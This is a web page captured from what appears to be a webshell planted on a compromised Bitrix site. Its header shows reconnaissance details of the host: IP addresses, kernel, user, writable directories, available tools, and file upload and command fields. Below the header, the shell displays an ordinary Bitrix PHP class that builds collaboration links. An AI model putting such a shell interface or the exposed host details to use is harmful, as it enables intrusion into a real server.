403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/socialnetwork/lib/Collab/Link/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/socialnetwork/lib/Collab/Link/LinkManager.php
<?php

declare(strict_types=1);

namespace Bitrix\Socialnetwork\Collab\Link;

use Bitrix\Socialnetwork\Collab\Integration\Extranet\Extranet;
use Bitrix\Socialnetwork\Collab\User\User;
use Bitrix\Socialnetwork\Helper\InstanceTrait;

final class LinkManager
{
	use InstanceTrait;

	private LinkType $type;
	private LinkParts $linkParts;
	private User $user;

	public function get(LinkType $type, LinkParts $linkParts): string
	{
		$this->type = $type;
		$this->linkParts = $linkParts;
		$this->user = new User($this->linkParts->userId);

		$parts = $this->getParts();

		$baseLink = match ($this->type)
		{
			LinkType::Tasks, LinkType::Calendar, LinkType::Disk, => implode('/', $parts) . '/',
		};

		if ($this->linkParts->entityId === null)
		{
			return $baseLink;
		}

		return $this->getEntityLink($baseLink);
	}

	private function getEntityLink(string $baseLink): string
	{
		$parts = $this->getEntityParts();

		return match ($this->type)
		{
			LinkType::Tasks => $baseLink . implode('/', $parts) . '/',
			default => $baseLink,
		};
	}

	private function getParts(): array
	{
		$sitePart = $this->getSitePart();
		if (empty($sitePart))
		{
			return [$this->getCollabPart(), $this->getEntityPart()];
		}

		return [$this->getSitePart(), $this->getCollabPart(), $this->getEntityPart()];
	}

	private function getEntityParts(): array
	{
		if (empty($this->linkParts->view))
		{
			return [$this->linkParts->entityId];
		}

		$entityType = $this->getEntityType();
		if (empty($entityType))
		{
			return [$this->linkParts->view, $this->linkParts->entityId];
		}

		return [$entityType, $this->linkParts->view, $this->linkParts->entityId];
	}

	private function getSitePart(): string
	{
		if ($this->user->isExtranet())
		{
			return Extranet::getSiteName();
		}

		return '';
	}

	private function getCollabPart(): string
	{
		return 'workgroups/group/' . $this->linkParts->collabId;
	}

	private function getEntityPart(): string
	{
		return match ($this->type)
		{
			LinkType::Tasks => 'tasks',
			LinkType::Calendar => 'calendar',
			LinkType::Disk => 'disk/path',
		};
	}

	private function getEntityType(): string
	{
		return match ($this->type)
		{
			LinkType::Tasks => 'task',
			default => '',
		};
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit